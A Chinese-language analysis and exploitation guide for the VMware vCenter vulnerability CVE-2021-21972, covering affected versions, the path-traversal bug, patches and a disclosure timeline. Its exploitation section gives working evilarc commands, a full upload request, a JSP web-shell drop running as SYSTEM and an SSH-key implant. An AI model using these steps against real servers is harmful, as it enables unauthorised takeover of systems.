深入分析VMware vCenter远程代码执行漏洞
字数 1650 2025-08-06 08:35:22
VMware vCenter远程代码执行漏洞(CVE-2021-21972)深入分析与利用指南
漏洞概述
CVE-2021-21972是VMware vCenter Server中的一个严重安全漏洞,允许未经身份验证的攻击者通过vSphere Client(HTML5)在目标系统上执行任意代码。该漏洞存在于vSphere Client的vROps插件中,由于缺乏适当的身份验证检查,攻击者可以上传恶意文件并实现远程代码执行。
受影响版本
- VMware vCenter Server 7.0版本(7.0.0至7.0.1)
- VMware vCenter Server 6.7版本(6.7.0至6.7.3)
- VMware vCenter Server 6.5版本(6.5.0至6.5.3)
- VMware Cloud Foundation (vCenter Server) 4.x版本
- VMware Cloud Foundation (vCenter Server) 3.x版本
漏洞发现过程
- 研究人员发现
/ui/vropspluginui/rest/services/*端点无需身份验证即可访问 - vROps插件(vropsplugin-service.jar)配置错误,允许未经授权的访问
uploadOvaFile函数处理/ui/vropspluginui/rest/services/uploadova路径时存在漏洞
漏洞技术细节
漏洞代码分析
漏洞位于uploadOvaFile函数中,该函数:
- 接收带有
uploadFile参数的POST请求 - 将上传内容读取到
inputStream变量 - 将数据作为.tar存档打开
- 遍历存档条目,在
/tmp/unicorn_ova_dir+entry_name路径创建文件
关键问题:
- 未对.tar条目名称进行安全过滤
- 直接拼接路径字符串,允许目录遍历攻击(如使用
.../)
漏洞利用方法
Windows系统利用
-
制作恶意.tar文件:
python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl.tar shell.jsp -
上传恶意文件:
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1 Host: vSphereClient.local Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD ------WebKitFormBoundaryH8GoragzRFVTw1VD Content-Disposition: form-data; name="uploadFile"; filename="a.ova" Content-Type: text/plain {craftedArchive} ------WebKitFormBoundaryH8GoragzRFVTw1VD-- -
访问上传的JSP shell:
- 上传的JSP文件位于
C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport - 可通过Web访问
/statsreport/shell.jsp - 执行权限为
NT Authority\system
- 上传的JSP文件位于
Linux系统利用
-
生成SSH密钥对:
ssh-keygen -t rsa -
制作包含公钥的.tar文件:
python evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f linexpl.tar authorized_keys -
上传文件:
- 同上使用POST请求上传恶意.tar文件
-
SSH连接:
ssh -i /path/to/id_rsa vsphere-ui@vSphereLinux.local
漏洞修复建议
-
官方补丁:
- 升级到以下版本:
- vCenter Server 7.0 Update 2
- vCenter Server 6.7 Update 3n
- vCenter Server 6.5 Update 3p
- VMware Cloud Foundation 4.2
- VMware Cloud Foundation 3.10.1.2
- 升级到以下版本:
-
临时缓解措施:
- 在vCenter Server上删除vROps插件
- 限制对vCenter Server的网络访问
时间线
- 2020年10月2日:漏洞报告给VMware
- 2020年10月3日:VMware首次回应
- 2020年10月9日:确认漏洞并开始修复
- 2021年2月23日:发布安全公告和补丁
参考资源
- 原始漏洞报告:https://swarm.ptsecurity.com/unauth-rce-vmware/
- VMware安全公告:VMSA-2021-0002
- evilarc工具:用于创建包含目录遍历路径的.tar文件
总结
CVE-2021-21972是一个严重的未授权RCE漏洞,影响广泛使用的VMware vCenter Server。攻击者可以利用此漏洞完全控制目标系统。建议所有使用受影响版本的组织立即应用补丁或采取缓解措施。